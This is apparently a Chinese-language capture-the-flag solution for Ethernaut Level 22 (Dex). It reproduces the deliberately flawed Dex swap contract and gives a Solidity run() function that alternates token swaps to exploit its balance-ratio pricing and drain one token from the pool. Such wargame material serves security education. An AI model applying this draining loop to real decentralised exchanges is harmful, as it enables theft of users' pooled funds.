Ethernaut系列-Level 22(Dex)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public { 
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

  function run(address _runAddress,address _token1,address _token2) external {
    uint myToken1Amount;
    uint myToken2Amount;
    uint dexToken1Amount;
    uint dexToken2Amount;
    uint currentSwap = 0;

    while (true) {
      myToken1Amount = IToken(_token1).balanceOf(address(this));
      myToken2Amount = IToken(_token2).balanceOf(address(this));      
      dexToken1Amount = IToken(_token1).balanceOf(_runAddress);
      dexToken2Amount = IToken(_token2).balanceOf(_runAddress);

      //有一个token抽干就退出
      if (dexToken1Amount <= 0 || dexToken2Amount <= 0) {
        break;
      }

      if (myToken1Amount >=myToken2Amount) {
        //根据dex的价格公式，如果需要抽干to,只需from个，所以判断下如果比from大，就用from即可
        currentSwap = myToken1Amount > dexToken1Amount ? dexToken1Amount : myToken1Amount;
        IToken(_token1).approve(_runAddress,currentSwap);
        ILevel(_runAddress).swap(_token1, _token2, currentSwap);       
      } else {        
        currentSwap = myToken2Amount > dexToken2Amount ? dexToken2Amount : myToken2Amount;
        IToken(_token2).approve(_runAddress,currentSwap);
        ILevel(_runAddress).swap(_token2, _token1, currentSwap);
      }            
    }

  }